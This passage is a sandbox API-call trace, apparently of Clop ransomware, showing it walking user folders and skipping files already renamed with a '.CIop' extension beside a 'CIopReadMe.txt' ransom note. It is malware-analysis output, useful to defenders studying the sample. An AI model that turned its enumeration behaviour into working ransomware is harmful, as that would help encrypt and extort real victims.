| out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.663] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0148.663] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0148.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.663] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0148.663] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.663] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0148.663] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0148.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.663] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.663] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0148.663] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0148.663] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0148.663] SetErrorMode (uMode=0x1) returned 0x1 [0148.663] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0148.663] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0148.663] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.663] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0148.664] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.664] lstrlenW (lpString="Desktop") returned 7 [0148.664] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.664] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0148.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0148.664] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.664] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0148.664] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.664] lstrlenW (lpString="Desktop") returned 7 [0148.664] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.664] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.664] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0148.664] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0148.664] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.664] SetErrorMode (uMode=0x1) returned 0x1 [0148.664] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.664] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0148.664] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.665] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0148.665] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0148.665] lstrlenW (lpString=".CIop") returned 5 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0148.665] lstrlenW (lpString=".CIop") returned 5 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0148.665] lstrlenW (lpString=".CIop") returned 5 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0148.665] lstrlenW (lpString=".CIop") returned 5 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.665] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0148.665] lstrlenW (lpString=".CIop") returned 5 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.665] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.665] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.665] lstrlenW (lpString="desktop.ini") returned 11 [0148.665] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.666] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0148.666] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0148.666] lstrlenW (lpString=".CIop") returned 5 [0148.666] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0148.667] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0148.667] lstrlenW (lpString=".CIop") returned 5 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0148.667] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0148.667] lstrlenW (lpString=".CIop") returned 5 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0148.667] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0148.667] lstrlenW (lpString=".CIop") returned 5 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.667] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0148.667] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0148.667] lstrlenW (lpString=".CIop") returned 5 [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.667] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.667] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.667] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.667] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0148.667] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.667] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0148.667] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.667] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.668] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0148.668] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0148.668] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0148.668] SetErrorMode (uMode=0x1) returned 0x1 [0148.668] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0148.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0148.668] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0148.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0148.668] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.668] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0148.668] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.668] lstrlenW (lpString=".CIop") returned 5 [0148.668] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.668] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0148.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0148.668] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.669] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0148.669] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.669] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.669] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.669] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0148.669] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0148.669] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.670] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.670] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0148.670] SetErrorMode (uMode=0x1) returned 0x1 [0148.670] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0148.670] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0148.671] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0148.671] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.671] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0148.671] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.671] lstrlenW (lpString=".CIop") returned 5 [0148.671] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.671] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.671] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.671] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0148.671] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.671] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0148.671] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.671] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.671] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.671] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.671] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.671] lstrcmpW (lpString1="My Shapes", 